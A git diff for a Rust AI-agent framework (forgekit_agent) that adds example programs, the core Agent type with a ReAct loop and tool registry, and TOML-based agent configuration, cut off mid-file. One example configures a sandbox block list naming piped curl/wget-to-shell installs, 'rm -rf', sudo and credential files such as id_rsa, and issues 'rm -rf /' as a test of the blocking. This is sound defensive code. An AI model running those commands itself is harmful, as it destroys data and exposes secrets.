BuiltinToolRegistry, ToolRegistry}; - use forge_agent::chat::tools::types::{ToolCall, ToolDef}; - use forge_agent::chat::types::{ChatMessage, ContentBlock}; - use forge_agent::llm::LlmConfig; + use forgekit_agent::chat::conversation::Conversation; + use forgekit_agent::chat::providers::ollama::OllamaChatProvider; + use forgekit_agent::chat::providers::ChatProvider; + use forgekit_agent::chat::tools::registry::{AsyncTool, BuiltinToolRegistry, ToolRegistry}; + use forgekit_agent::chat::tools::types::{ToolCall, ToolDef}; + use forgekit_agent::chat::types::{ChatMessage, ContentBlock}; + use forgekit_agent::LlmConfig; struct FileReadTool; @@ -104,6 +104,7 @@ async fn main() { content.chars().take(200).collect::() ); } + _ => {} } } diff --git a/forgekit_agent/examples/minimal_agent.rs b/forgekit_agent/examples/minimal_agent.rs new file mode 100644 index 0000000..c01ee6b --- /dev/null +++ b/forgekit_agent/examples/minimal_agent.rs @@ -0,0 +1,44 @@ +//! Minimal agent example using the high-level SDK API. +//! +//! Run with: `cargo run --example minimal_agent --features llm-ollama` + +#[cfg(not(feature = "llm-ollama"))] +fn main() { + eprintln!("This example requires the llm-ollama feature."); + eprintln!("Run with: cargo run --example minimal_agent --features llm-ollama"); +} + +#[cfg(feature = "llm-ollama")] +#[tokio::main] +async fn main() { + use forgekit_agent::LlmConfig; + use forgekit_agent::{chat::EventBus, chat::OllamaChatProvider, chat::TokenTracker, Agent}; + use std::sync::Arc; + + let provider = Arc::new(OllamaChatProvider::local()); + let config = LlmConfig::new("qwen3.5-agent:latest").with_temperature(0.0); + + let bus = EventBus::new(); + let tracker = TokenTracker::new(); + tracker.attach(&bus).await; + + let agent = Agent::new(".") + .await + .expect("failed to create agent") + .with_chat_provider(provider, config) + .with_event_bus(bus) + .with_max_iterations(5); + + let result = agent + .run_react("List the files in the current directory and describe the project structure.") + .await + .expect("agent failed"); + + println!("Agent response:\n{result}"); + + let usage = tracker.usage().await; + println!( + "\nToken usage: {} prompt, {} completion, {} total ({} LLM calls)", + usage.prompt_tokens, usage.completion_tokens, usage.total_tokens, usage.llm_calls, + ); +} diff --git a/forgekit_agent/examples/orchestration.rs b/forgekit_agent/examples/orchestration.rs new file mode 100644 index 0000000..c239000 --- /dev/null +++ b/forgekit_agent/examples/orchestration.rs @@ -0,0 +1,54 @@ +//! Multi-agent orchestration example. +//! +//! Demonstrates sequential and parallel agent composition. +//! Run with: `cargo run --example orchestration --features llm-ollama` + +#[cfg(not(feature = "llm-ollama"))] +fn main() { + eprintln!("This example requires the llm-ollama feature."); + eprintln!("Run with: cargo run --example orchestration --features llm-ollama"); +} + +#[cfg(feature = "llm-ollama")] +#[tokio::main] +async fn main() { + use forgekit_agent::LlmConfig; + use forgekit_agent::{chat::OllamaChatProvider, Agent, Orchestrator}; + use std::sync::Arc; + + let provider = Arc::new(OllamaChatProvider::local()); + let config = LlmConfig::new("qwen3.5-agent:latest").with_temperature(0.0); + + let agent1 = Agent::new(".") + .await + .expect("agent 1 failed") + .with_chat_provider(provider.clone(), config.clone()) + .with_max_iterations(3); + + let agent2 = Agent::new(".") + .await + .expect("agent 2 failed") + .with_chat_provider(provider, config) + .with_max_iterations(3); + + let orchestrator = Orchestrator::new() + .add_agent_with_id("analyzer", agent1) + .add_agent_with_id("summarizer", agent2); + + println!("=== Sequential Orchestration ==="); + match orchestrator + .run_sequential("Analyze the project structure") + .await + { + Ok(results) => { + for r in &results { + println!( + "[{}] {}", + r.agent_id(), + if r.is_success() { "OK" } else { "FAIL" } + ); + } + } + Err(e) => println!("Sequential failed: {e}"), + } +} diff --git a/forgekit_agent/examples/sandbox_config.rs b/forgekit_agent/examples/sandbox_config.rs new file mode 100644 index 0000000..eba8e0b --- /dev/null +++ b/forgekit_agent/examples/sandbox_config.rs @@ -0,0 +1,43 @@ +//! Sandbox configuration example. +//! +//! Demonstrates how to configure tool restrictions and command blocking. +//! Run with: `cargo run --example sandbox_config` + +use forgekit_agent::chat::sandbox::Sandbox; +use forgekit_agent::chat::tools::builtins::ShellExecTool; +use forgekit_agent::chat::AsyncTool; + +#[tokio::main] +async fn main() { + let sandbox = Sandbox::new() + .with_blocked_commands(&[ + "sudo".to_string(), + "rm\\s+-rf".to_string(), + "curl.*\\|.*sh".to_string(), + "wget.*\\|.*sh".to_string(), + ]) + .with_blocked_paths(&[ + "\\.env".to_string(), + "id_rsa".to_string(), + "credentials".to_string(), + ]); + + let shared = forgekit_agent::chat::sandbox::shared_sandbox(Some(sandbox)); + let temp = tempfile::tempdir().unwrap(); + let tool = ShellExecTool::new(temp.path()).with_sandbox(shared); + + let safe = tool + .call(serde_json::json!({"command": "echo hello"})) + .await; + println!("echo hello: {:?}", safe.map(|s| s.trim().to_string())); + + let blocked = tool + .call(serde_json::json!({"command": "sudo apt install evil"})) + .await; + println!("sudo apt install evil: {:?}", blocked); + + let blocked2 = tool.call(serde_json::json!({"command": "rm -rf /"})).await; + println!("rm -rf /: {:?}", blocked2); + + println!("\nSandbox policy applied. Safe commands run, dangerous ones are blocked."); +} diff --git a/forgekit_agent/src/agent.rs b/forgekit_agent/src/agent.rs new file mode 100644 index 0000000..f7b2759 --- /dev/null +++ b/forgekit_agent/src/agent.rs @@ -0,0 +1,922 @@ +//! Core agent implementation. +//! +//! The `Agent` struct is the main entry point for AI-driven code operations. +//! It supports two execution modes: +//! +//! - **6-phase pipeline** (`run()`): Observe β†’ Constrain β†’ Plan β†’ Mutate β†’ Verify β†’ Commit +//! - **ReAct loop** (`run_react()`): LLM-driven autonomous reasoning and tool-calling + +use std::path::PathBuf; + +use crate::agent_config::AgentConfig; +use crate::chat; +#[cfg(feature = "envoy")] +use crate::envoy; +#[cfg(feature = "envoy")] +use crate::evidence; +use crate::llm; +use crate::planner; +use crate::policy; +use crate::{ + agent_loop, commit, mutate, observe, verify, workflow, AgentError, AgentTask, CommitResult, + ConstrainedPlan, ExecutionPlan, LoopResult, MutationResult, Observation, Result, + VerificationResult, +}; + +#[cfg(any( + feature = "llm-ollama", + feature = "llm-openai", + feature = "llm-anthropic" +))] +fn load_llm_from_forge_toml( + project_path: &std::path::Path, +) -> Option> { + #[derive(serde::Deserialize)] + struct LlmSection { + provider: String, + model: String, + #[cfg(any(feature = "llm-ollama", feature = "llm-openai"))] + url: Option, + #[cfg(any(feature = "llm-openai", feature = "llm-anthropic"))] + api_key: Option, + } + #[derive(serde::Deserialize)] + struct ForgeToml { + llm: Option, + } + let text = std::fs::read_to_string(project_path.join(".forge.toml")).ok()?; + let parsed: ForgeToml = toml::from_str(&text).ok()?; + let cfg = parsed.llm?; + match cfg.provider.as_str() { + #[cfg(feature = "llm-ollama")] + "ollama" => { + let endpoint = cfg + .url + .unwrap_or_else(|| "http://localhost:11434".to_string()); + Some(std::sync::Arc::new(llm::OllamaProvider::new( + endpoint, cfg.model, + ))) + } + #[cfg(feature = "llm-openai")] + "openai" => { + let api_key = cfg.api_key?; + let url = cfg + .url + .unwrap_or_else(|| "https://api.openai.com/v1".to_string()); + Some(std::sync::Arc::new(llm::OpenAiProvider::new( + url, cfg.model, api_key, + ))) + } + #[cfg(feature = "llm-anthropic")] + "anthropic" => { + let api_key = cfg.api_key?; + Some(std::sync::Arc::new(llm::AnthropicProvider::new( + cfg.model, api_key, + ))) + } + _ => None, + } +} + +#[cfg(not(any( + feature = "llm-ollama", + feature = "llm-openai", + feature = "llm-anthropic" +)))] +fn load_llm_from_forge_toml( + _project_path: &std::path::Path, +) -> Option> { + None +} + +/// Agent for deterministic AI-driven code operations. +/// +/// The agent follows a strict loop: +/// 1. Observe: Gather context from the graph +/// 2. Constrain: Apply policy rules +/// 3. Plan: Generate execution steps +/// 4. Mutate: Apply changes +/// 5. Verify: Validate results +/// 6. Commit: Finalize transaction +/// +/// # Runtime Integration +/// +/// The agent can integrate with `ForgeRuntime` for coordinated file watching +/// and caching: +/// +/// ```ignore +/// let (agent, mut runtime) = Agent::with_runtime("./project").await?; +/// let result = agent.run_with_runtime(&mut runtime, "refactor function").await?; +/// ``` +/// +pub struct Agent { + /// Path to the codebase + pub(crate) codebase_path: PathBuf, + /// Forge SDK instance for graph queries + pub(crate) forge: Option, + /// Optional LLM provider for semantic operations + pub(crate) llm: Option>, + /// Optional chat provider for ReAct agent loop + pub(crate) chat_provider: Option>, + /// Chat config (model, temperature, etc.) for ReAct loop + pub(crate) chat_config: Option, + /// Optional envoy client for multi-agent coordination + #[cfg(feature = "envoy")] + pub(crate) envoy: Option>, + /// Optional evidence recording session + #[cfg(feature = "envoy")] + pub(crate) session: Option>, + /// Policies enforced during the constraint phase + pub(crate) policies: Vec, + /// Hook configuration for lifecycle events + pub(crate) hook_config: Option, + /// Skill registry for loading skills + pub(crate) skill_registry: Option>, + /// Optional verifier for validating final answers + pub(crate) verifier: Option, + /// Optional code retriever for RAG-augmented context + pub(crate) retriever: Option>, + /// Number of retrieval results to inject (default 5) + pub(crate) retrieval_top_k: usize, + /// Max ReAct loop iterations (default 10) + pub(crate) max_iterations: usize, + /// Max consecutive LLM errors before failing (default 2) + pub(crate) step_retries: usize, + /// Agent config loaded from .forge.toml [agent] section + pub(crate) agent_config: Option, + /// Custom system prompt from config (overrides build_system_prompt) + pub(crate) custom_system_prompt: Option, + /// Event bus for lifecycle observability + pub(crate) event_bus: Option, +} + +impl Agent { + /// Returns a type-state builder that requires a chat provider before building. + pub fn builder( + codebase_path: impl AsRef, + ) -> crate::builder::AgentBuilder { + crate::builder::agent_builder(codebase_path) + } + + /// Creates a new agent for the given codebase. + pub async fn new(codebase_path: impl AsRef) -> Result { + let path = codebase_path.as_ref().to_path_buf(); + + let forge = forgekit_core::Forge::open(&path).await.ok(); + + let llm = load_llm_from_forge_toml(&path); + + #[cfg(feature = "envoy")] + let envoy = { + let config_path = path.join(".forge.toml"); + envoy::EnvoyConfig::from_file(&config_path) + .ok() + .flatten() + .map(|c| std::sync::Arc::new(envoy::EnvoyClient::new(c))) + }; + + #[cfg(feature = "envoy")] + let project_name = path + .file_name() + .unwrap_or_default() + .to_str() + .unwrap_or("unknown") + .to_string(); + + #[cfg(feature = "envoy")] + let session: Option> = envoy.as_ref().map(|c| { + std::sync::Arc::new(evidence::ForgeSession::new( + c.clone() as std::sync::Arc, + &project_name, + "forge", + None, + )) + }); + + let agent_config = AgentConfig::from_file(&path.join(".forge.toml")) + .ok() + .flatten(); + let (max_iterations, step_retries, retrieval_top_k, custom_system_prompt) = + match &agent_config { + Some(cfg) => ( + cfg.max_iterations(), + cfg.step_retries(), + cfg.retrieval_top_k(), + cfg.system_prompt.clone(), + ), + None => (10, 2, 5, None), + }; + + Ok(Self { + codebase_path: path, + forge, + llm, + chat_provider: None, + chat_config: None, + #[cfg(feature = "envoy")] + envoy, + #[cfg(feature = "envoy")] + session, + policies: Vec::new(), + hook_config: None, + skill_registry: None, + verifier: None, + retriever: None, + retrieval_top_k, + max_iterations, + step_retries, + agent_config, + custom_system_prompt, + event_bus: None, + }) + } + + pub fn with_llm(mut self, provider: std::sync::Arc) -> Self { + self.llm = Some(provider); + self + } + + pub fn with_policies(mut self, policies: Vec) -> Self { + self.policies = policies; + self + } + + pub fn with_chat_provider( + mut self, + provider: std::sync::Arc, + config: llm::LlmConfig, + ) -> Self { + self.chat_provider = Some(provider); + self.chat_config = Some(config); + self + } + + #[cfg(feature = "envoy")] + pub fn with_envoy(mut self, client: envoy::EnvoyClient) -> Self { + self.envoy = Some(std::sync::Arc::new(client)); + self + } + + pub fn with_hooks(mut self, config: chat::HookConfig) -> Self { + self.hook_config = Some(config); + self + } + + pub fn with_skill_registry(mut self, registry: std::sync::Arc) -> Self { + self.skill_registry = Some(registry); + self + } + + pub fn with_verifier(mut self, verifier: chat::VerifierFn) -> Self { + self.verifier = Some(verifier); + self + } + + pub fn with_retriever(mut self, retriever: std::sync::Arc) -> Self { + self.retriever = Some(retriever); + self + } + + pub fn with_retrieval_top_k(mut self, k: usize) -> Self { + self.retrieval_top_k = k; + self + } + + pub fn with_max_iterations(mut self, n: usize) -> Self { + self.max_iterations = n; + self + } + + pub fn with_step_retries(mut self, n: usize) -> Self { + self.step_retries = n; + self + } + + pub fn with_event_bus(mut self, bus: chat::EventBus) -> Self { + self.event_bus = Some(bus); + self + } + + #[cfg(feature = "envoy")] + pub async fn connect_envoy(&self) -> std::result::Result { + let client = self + .envoy + .as_ref() + .ok_or_else(|| "envoy not configured".to_string())?; + client.register().await + } + + pub async fn observe(&self, query: &str) -> Result { + let forge = self + .forge + .as_ref() + .ok_or_else(|| AgentError::ObservationFailed("Forge SDK not available".to_string()))?; + + let mut observer = observe::Observer::new(forge.clone()); + if let Some(ref llm) = self.llm { + observer = observer.with_llm(llm.clone()); + } + #[cfg(feature = "envoy")] + if let Some(ref envoy) = self.envoy { + observer = observer.with_knowledge_source(envoy.clone()); + } + let obs = observer.gather(query).await?; + + Ok(obs) + } + + pub async fn constrain( + &self, + observation: Observation, + policies: Vec, + ) -> Result { + let forge = self.forge.as_ref().ok_or_else(|| { + AgentError::ObservationFailed( + "Forge SDK not available for policy validation".to_string(), + ) + })?; + + let validator = policy::PolicyValidator::new(forge.clone()); + + let diff = policy::Diff { + file_path: std::path::PathBuf::from(&observation.query), + original: String::new(), + modified: format!("query: {}", observation.query), + changes: Vec::new(), + }; + + let report = validator.validate(&diff, &policies).await?; + + Ok(ConstrainedPlan { + observation, + policy_violations: report.violations, + }) + } + + pub async fn plan(&self, constrained: ConstrainedPlan) -> Result { + let mut planner_instance = planner::Planner::new(); + if let Some(ref llm) = self.llm { + planner_instance = planner_instance.with_llm(llm.clone()); + } + + let obs = observe::Observation { + query: constrained.observation.query.clone(), + symbols: constrained.observation.symbols.clone(), + summary: constrained.observation.summary.clone(), + }; + + let steps = planner_instance.generate_steps(&obs).await?; + let impact = planner_instance.estimate_impact(&steps).await?; + let conflicts = planner_instance.detect_conflicts(&steps)?; + + if !conflicts.is_empty() { + let details: Vec = conflicts + .iter() + .map(|c| match &c.reason { + planner::ConflictReason::OverlappingRegion { start, end } => { + format!("{} at lines {}-{}", c.file, start, end) + } + }) + .collect(); + return Err(AgentError::PlanningFailed(format!( + "Found {} conflicts in plan: {}", + conflicts.len(), + details.join("; ") + ))); + } + + let mut ordered_steps = steps; + planner_instance.order_steps(&mut ordered_steps)?; + + let rollback = planner_instance.generate_rollback(&ordered_steps); + + Ok(ExecutionPlan { + steps: ordered_steps, + estimated_impact: planner::ImpactEstimate { + affected_files: impact.affected_files, + complexity: impact.complexity, + }, + rollback_plan: rollback, + }) + } + + pub async fn mutate(&self, plan: ExecutionPlan) -> Result { + self.forge + .as_ref() + .ok_or_else(|| AgentError::MutationFailed("Forge SDK not available".to_string()))?; + + let mut mutator = mutate::Mutator::new(); + mutator.begin_transaction().await?; + + let mut modified_files = Vec::new(); + for step in &plan.steps { + mutator.apply_step(step).await?; + if let Some(path) = step_affected_file(step) { + modified_files.push(std::path::PathBuf::from(path)); + } + } + + let diffs: Vec = modified_files + .iter() + .map(|f| f.to_string_lossy().to_string()) + .collect(); + + Ok(MutationResult { + modified_files, + diffs, + }) + } + + pub async fn verify(&self, result: MutationResult) -> Result { + let verifier = verify::Verifier::new(); + let report = if result.modified_files.is_empty() { + verifier.verify(&self.codebase_path).await? + } else { + verifier + .verify_changes(&self.codebase_path, &result.modified_files, &result.diffs) + .await? + }; + + Ok(VerificationResult { + passed: report.passed, + diagnostics: report + .diagnostics + .iter() + .map(|d| d.message.clone()) + .collect(), + suggestions: report.suggestions, + }) + } + + pub async fn commit(&self, result: VerificationResult) -> Result { + let committer = commit::Committer::new(); + let files: Vec = result + .diagnostics + .iter() + .filter_map(|d| { + d.split(':') + .next() + .map(|s| std::path::PathBuf::from(s.trim())) + }) + .collect(); + + let message = format!("forge: apply changes ({} files)", files.len()); + let commit_report = committer + .finalize(&self.codebase_path, &files, &message) + .await?; + + Ok(CommitResult { + transaction_id: commit_report.transaction_id, + files_committed: commit_report.files_committed, + git_committed: commit_report.git_committed, + }) + } + + pub async fn run(&self, query: &str) -> Result { + let forge = self + .forge + .as_ref() + .ok_or_else(|| AgentError::ObservationFailed("Forge SDK not available".to_string()))?; + + let mut agent_loop = agent_loop::AgentLoop::new(std::sync::Arc::new(forge.clone())); + + if let Some(ref llm) = self.llm { + agent_loop = agent_loop.with_llm(llm.clone()); + } + + #[cfg(feature = "envoy")] + if let Some(ref envoy) = self.envoy { + agent_loop = agent_loop.with_discovery_store(envoy.clone()); + } + + #[cfg(feature = "envoy")] + if let Some(ref session) = self.session { + agent_loop = agent_loop.with_session(session.clone()); + } + + if !self.policies.is_empty() { + agent_loop = agent_loop.with_policies(self.policies.clone()); + } + + agent_loop.run(query).await + } + + pub async fn run_react(&self, query: &str) -> Result { + let provider = self.chat_provider.as_ref().ok_or_else(|| { + AgentError::ReActFailed( + "no ChatProvider configured; use with_chat_provider()".to_string(), + ) + })?; + let config = self.resolve_chat_config()?; + + let registry = self.build_tool_registry(); + let system_prompt = self.build_system_prompt_for_query(query).await; + + let mut react = chat::ReActLoop::new(std::sync::Arc::clone(provider), registry, config) + .with_system_prompt(system_prompt) + .with_max_iterations(self.max_iterations) + .with_step_retries(self.step_retries); + + if let Some(ref hook_config) = self.hook_config { + react = react.with_hooks(chat::HookRunner::new(hook_config.clone())); + } + + if let Some(ref verifier) = self.verifier { + react = react.with_verifier(std::sync::Arc::clone(verifier)); + } + + if let Some(ref retriever) = self.retriever { + react = react + .with_retriever(std::sync::Arc::clone(retriever)) + .with_retrieval_top_k(self.retrieval_top_k); + } + + if let Some(ref bus) = self.event_bus { + react = react.with_event_bus(bus.clone()); + } + + react + .run(query) + .await + .map_err(|e| AgentError::ReActFailed(format!("{e}"))) + } + + pub async fn run_react_stream( + &self, + query: impl Into, + ) -> Result + Send>>> { + let query_str = query.into(); + let provider = self.chat_provider.as_ref().ok_or_else(|| { + AgentError::ReActFailed( + "no ChatProvider configured; use with_chat_provider()".to_string(), + ) + })?; + let config = self.resolve_chat_config()?; + + let registry = self.build_tool_registry(); + let system_prompt = self.build_system_prompt_for_query(&query_str).await; + + let mut react = chat::ReActLoop::new(std::sync::Arc::clone(provider), registry, config) + .with_system_prompt(system_prompt) + .with_max_iterations(self.max_iterations) + .with_step_retries(self.step_retries); + + if let Some(ref hook_config) = self.hook_config { + react = react.with_hooks(chat::HookRunner::new(hook_config.clone())); + } + + if let Some(ref verifier) = self.verifier { + react = react.with_verifier(std::sync::Arc::clone(verifier)); + } + + if let Some(ref retriever) = self.retriever { + react = react + .with_retriever(std::sync::Arc::clone(retriever)) + .with_retrieval_top_k(self.retrieval_top_k); + } + + if let Some(ref bus) = self.event_bus { + react = react.with_event_bus(bus.clone()); + } + + Ok(react.run_stream(&query_str)) + } + + pub async fn spawn( + self, + query: impl Into, + ) -> std::result::Result { + let provider = self.chat_provider.as_ref().ok_or_else(|| { + AgentError::ReActFailed( + "no ChatProvider configured; use with_chat_provider()".to_string(), + ) + })?; + let config = self.resolve_chat_config()?; + + let registry = self.build_tool_registry(); + let query = query.into(); + let system_prompt = self.build_system_prompt_for_query(&query).await; + + let mut react = chat::ReActLoop::new(std::sync::Arc::clone(provider), registry, config) + .with_system_prompt(system_prompt) + .with_max_iterations(self.max_iterations) + .with_step_retries(self.step_retries); + + if let Some(ref hook_config) = self.hook_config { + react = react.with_hooks(chat::HookRunner::new(hook_config.clone())); + } + + if let Some(verifier) = self.verifier { + react = react.with_verifier(verifier); + } + + if let Some(ref retriever) = self.retriever { + react = react + .with_retriever(std::sync::Arc::clone(retriever)) + .with_retrieval_top_k(self.retrieval_top_k); + } + + if let Some(ref bus) = self.event_bus { + react = react.with_event_bus(bus.clone()); + } + + let handle = + tokio::spawn(async move { react.run(&query).await.map_err(|e| format!("{e}")) }); + + Ok(AgentTask { handle }) + } + + /// Returns the effective `LlmConfig` for ReAct execution. + /// + /// Values from `.forge.toml` `[agent]` section (`temperature`, + /// `max_tokens`) are applied as defaults β€” they only fill in fields + /// the caller left as `None` in the explicit `LlmConfig` passed to + /// `with_chat_provider`. Programmatic configuration always wins. + fn resolve_chat_config(&self) -> Result { + let mut config = self + .chat_config + .as_ref() + .ok_or_else(|| { + AgentError::ReActFailed( + "no LlmConfig configured; use with_chat_provider()".to_string(), + ) + })? + .clone(); + + if let Some(ref agent_config) = self.agent_config { + if config.temperature.is_none() && agent_config.temperature.is_some() { + config.temperature = agent_config.temperature; + } + if config.max_tokens.is_none() && agent_config.max_tokens.is_some() { + config.max_tokens = agent_config.max_tokens; + } + } + + Ok(config) + } + + pub(crate) fn build_tool_registry(&self) -> chat::BuiltinToolRegistry { + let mut registry = chat::BuiltinToolRegistry::new(); + + let needs_sandbox = self + .agent_config + .as_ref() + .is_some_and(|c| c.blocked_commands.is_some() || c.blocked_paths.is_some()); + + if needs_sandbox { + let sandbox = self + .agent_config + .as_ref() + .map(chat::Sandbox::from_config) + .unwrap_or_default(); + let shared = chat::sandbox::shared_sandbox(Some(sandbox)); + + match self.forge.as_ref() { + Some(forge) => { + registry.register_many(chat::default_builtin_tools_with_graph_sandboxed( + &self.codebase_path, + forge.clone(), + shared, + )); + } + None => { + registry.register_many(chat::default_builtin_tools_sandboxed( + &self.codebase_path, + shared, + )); + } + } + } else { + match self.forge.as_ref() { + Some(forge) => { + registry.register_many(chat::default_builtin_tools_with_graph( + &self.codebase_path, + forge.clone(), + )); + } + None => { + registry.register_many(chat::default_builtin_tools(&self.codebase_path)); + } + } + } + + if let Some(ref skill_reg) = self.skill_registry { + registry.register(Box::new(chat::SkillTool::new(skill_reg.clone()))); + } + + #[cfg(feature = "atheneum")] + { + let db_path = self.codebase_path.join(".atheneum").join("atheneum.db"); + if db_path.exists() { + let project_name = self + .codebase_path + .file_name() + .map(|n| n.to_string_lossy().to_string()) + .unwrap_or_else(|| "forgekit-agent".to_string()); + registry.register(Box::new(chat::AtheneumTool::new(db_path, project_name))); + } + } + + #[cfg(feature = "envoy")] + { + if let Some(ref client) = self.envoy { + registry.register(Box::new(chat::EnvoyTool::new(client.clone()))); + } + } + + if let Some(ref config) = self.agent_config { + registry.retain(|name| config.is_tool_allowed(name)); + } + + registry + } + + pub(crate) fn build_system_prompt(&self) -> String { + let mut parts = vec![ + "You are an autonomous coding agent.".to_string(), + "You have tools to read files, write files, execute shell commands, \ + and query the code graph (find symbols, callers, references, cycles, impact analysis)." + .to_string(), + ]; + + #[cfg(feature = "atheneum")] + { + let db_path = self.codebase_path.join(".atheneum").join("atheneum.db"); + if db_path.exists() { + parts.push( + "You can query and store knowledge in the atheneum graph using the 'atheneum' tool." + .to_string(), + ); + } + } + + #[cfg(feature = "envoy")] + { + if self.envoy.is_some() { + parts.push( + "You can coordinate with other agents using the 'envoy' tool \ + (send messages, poll for messages, manage handoffs)." + .to_string(), + ); + } + } + + parts.push(format!( + "Your workspace is: {}", + self.codebase_path.display() + )); + + if let Some(ref prompt) = self.custom_system_prompt { + parts.push(prompt.clone()); + } + + parts.join(" ") + } + + pub(crate) async fn build_system_prompt_for_query(&self, query: &str) -> String { + let mut base = self.build_system_prompt(); + + if let Some(ref registry) = self.skill_registry { + let ranked = registry.rank_matching(query); + if !ranked.is_empty() { + let mut skill_parts = vec![format!( + "\n\n---\n# Auto-loaded Skills\n\nThe following skills were matched to your task. Follow their workflows.\n" + )]; + + let loaded = registry + .rank_and_load(query, 2, chat::MAX_INJECTED_BYTES) + .await; + + for content in &loaded { + skill_parts.push(content.system_prompt_fragment_bounded( + chat::MAX_INJECTED_BYTES / loaded.len().max(1), + )); + skill_parts.push("\n---\n".to_string()); + } + + if skill_parts.len() > 1 { + base.push_str(&skill_parts.join("\n")); + } + } + } + + base + } + + pub async fn run_workflow( + &self, + workflow: workflow::Workflow, + ) -> Result { + let forge = self + .forge + .as_ref() + .ok_or_else(|| AgentError::ObservationFailed("Forge SDK not available".to_string()))?; + workflow::WorkflowExecutor::new(workflow) + .with_forge(std::sync::Arc::new(forge.clone())) + .execute() + .await + .map_err(|e| AgentError::WorkflowFailed(e.to_string())) + } +} + +/// Returns the file path affected by a plan step, if any. +/// +/// Used by [`Agent::mutate`] to track which files were modified during the +/// mutation phase so that verification and commit receive accurate information. +fn step_affected_file(step: &planner::PlanStep) -> Option<&str> { + use planner::PlanOperation; + match &step.operation { + PlanOperation::Rename { file, old, .. } => file.as_deref().or(Some(old.as_str())), + PlanOperation::Delete { file, name, .. } => file.as_deref().or(Some(name.as_str())), + PlanOperation::Create { path, .. } => Some(path.as_str()), + PlanOperation::Modify { file, .. } => Some(file.as_str()), + PlanOperation::Inspect { .. } => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn minimal_agent( + chat_config: Option, + agent_config: Option, + ) -> Agent { + Agent { + codebase_path: PathBuf::new(), + forge: None, + llm: None, + chat_provider: None, + chat_config, + #[cfg(feature = "envoy")] + envoy: None, + #[cfg(feature = "envoy")] + session: None, + policies: Vec::new(), + hook_config: None, + skill_registry: None, + verifier: None, + retriever: None, + retrieval_top_k: 5, + max_iterations: 10, + step_retries: 2, + agent_config, + custom_system_prompt: None, + event_bus: None, + } + } + + #[test] + fn test_resolve_chat_config_applies_agent_defaults() { + // AgentConfig sets temperature/max_tokens, LlmConfig leaves them None. + // The agent_config values should be applied as defaults. + let agent = minimal_agent( + Some(llm::LlmConfig::new("test-model")), + Some(AgentConfig { + temperature: Some(0.5), + max_tokens: Some(2048), + ..Default::default() + }), + ); + let config = agent.resolve_chat_config().unwrap(); + assert_eq!(config.temperature, Some(0.5)); + assert_eq!(config.max_tokens, Some(2048)); + } + + #[test] + fn test_resolve_chat_config_explicit_config_wins() { + // Both AgentConfig and LlmConfig set temperature/max_tokens. + // The explicit LlmConfig values must win. + let agent = minimal_agent( + Some(llm::LlmConfig { + temperature: Some(0.9), + max_tokens: Some(8192), + ..llm::LlmConfig::new("test-model") + }), + Some(AgentConfig { + temperature: Some(0.5), + max_tokens: Some(2048), + ..Default::default() + }), + ); + let config = agent.resolve_chat_config().unwrap(); + assert_eq!(config.temperature, Some(0.9)); + assert_eq!(config.max_tokens, Some(8192)); + } + + #[test] + fn test_resolve_chat_config_no_agent_config_unchanged() { + // No AgentConfig β€” LlmConfig should pass through unmodified. + let agent = minimal_agent(Some(llm::LlmConfig::new("test-model")), None); + let config = agent.resolve_chat_config().unwrap(); + assert_eq!(config.temperature, None); + assert_eq!(config.max_tokens, None); + } + + #[test] + fn test_resolve_chat_config_no_chat_config_errors() { + // No chat_config at all β€” should return an error. + let agent = minimal_agent(None, None); + assert!(agent.resolve_chat_config().is_err()); + } +} diff --git a/forgekit_agent/src/agent_config.rs b/forgekit_agent/src/agent_config.rs new file mode 100644 index 0000000..56e8198 --- /dev/null +++ b/forgekit_agent/src/agent_config.rs @@ -0,0 +1,289 @@ +//! Configuration-driven agent construction. +//! +//! Loads an `[agent]` section from `.forge.toml` (or any TOML file) and +//! produces an `AgentConfig` that can be applied to an `Agent` builder chain. +//! +//! ## Example `.forge.toml` +//! +//! ```toml +//! [llm] +//! provider = "ollama" +//! model = "qwen3.5-agent:latest" +//! url = "http://localhost:11434" +//! +//! [agent] +//! max_iterations = 20 +//! step_retries = 3 +//! retrieval_top_k = 10 +//! system_prompt = "You are an expert Rust developer." +//! tools = ["file_read", "file_write", "shell_exec", "graph_query"] +//! ``` + +use std::path::Path; + +/// Default maximum ReAct loop iterations. +const DEFAULT_MAX_ITERATIONS: usize = 10; + +/// Default consecutive error retries per step. +const DEFAULT_STEP_RETRIES: usize = 2; + +/// Default number of RAG retrieval results. +const DEFAULT_RETRIEVAL_TOP_K: usize = 5; + +/// Agent configuration loaded from `.forge.toml`. +/// +/// All fields are optional β€” the agent uses built-in defaults for anything +/// not specified in the config file. +#[derive(Clone, Debug, Default, serde::Serialize, serde::Deserialize)] +pub struct AgentConfig { + /// Maximum ReAct loop iterations (default 10). + #[serde(default)] + pub max_iterations: Option, + + /// Maximum consecutive LLM errors before failing (default 2). + #[serde(default)] + pub step_retries: Option, + + /// Number of retrieval results to inject for RAG (default 5). + #[serde(default)] + pub retrieval_top_k: Option, + + /// Custom system prompt replacing the default. + #[serde(default)] + pub system_prompt: Option, + + /// Tool allowlist. When set, only these tool names are registered. + /// When absent, all builtin tools are available. + #[serde(default)] + pub tools: Option>, + + /// Tool denylist. Always takes precedence over the allowlist. + /// Tools listed here are never registered regardless of `tools`. + #[serde(default)] + pub denied_tools: Option>, + + /// Shell command patterns to block (regex). Applied to shell_exec commands. + #[serde(default)] + pub blocked_commands: Option>, + + /// File patterns to block from read/write (regex). Applied to file_read/file_write. + #[serde(default)] + pub blocked_paths: Option>, + + /// Temperature override for LLM calls (requires `[llm]` section). + #[serde(default)] + pub temperature: Option, + + /// Maximum tokens for LLM responses (requires `[llm]` section). + #[serde(default)] + pub max_tokens: Option, +} + +impl AgentConfig { + /// Load agent config from a `.forge.toml` file. + /// + /// Returns `Ok(None)` if the file does not exist or has no `[agent]` section. + /// Returns an error only for I/O or parse failures on an existing file. + pub fn from_file(path: &Path) -> std::io::Result> { + let text = match std::fs::read_to_string(path) { + Ok(t) => t, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(None), + Err(e) => return Err(e), + }; + Self::parse_toml(&text) + } + + /// Parse agent config from a TOML string. + /// + /// Returns `Ok(None)` if the string has no `[agent]` section. + pub fn parse_toml(toml_text: &str) -> std::io::Result> { + #[derive(serde::Deserialize)] + struct ForgeToml { + #[serde(default)] + agent: Option, + } + let parsed: ForgeToml = + toml::from_str(toml_text).map_err(|e| std::io::Error::other(e.to_string()))?; + Ok(parsed.agent) + } + + /// Resolved `max_iterations` with default fallback. + pub fn max_iterations(&self) -> usize { + self.max_iterations.unwrap_or(DEFAULT_MAX_ITERATIONS) + } + + /// 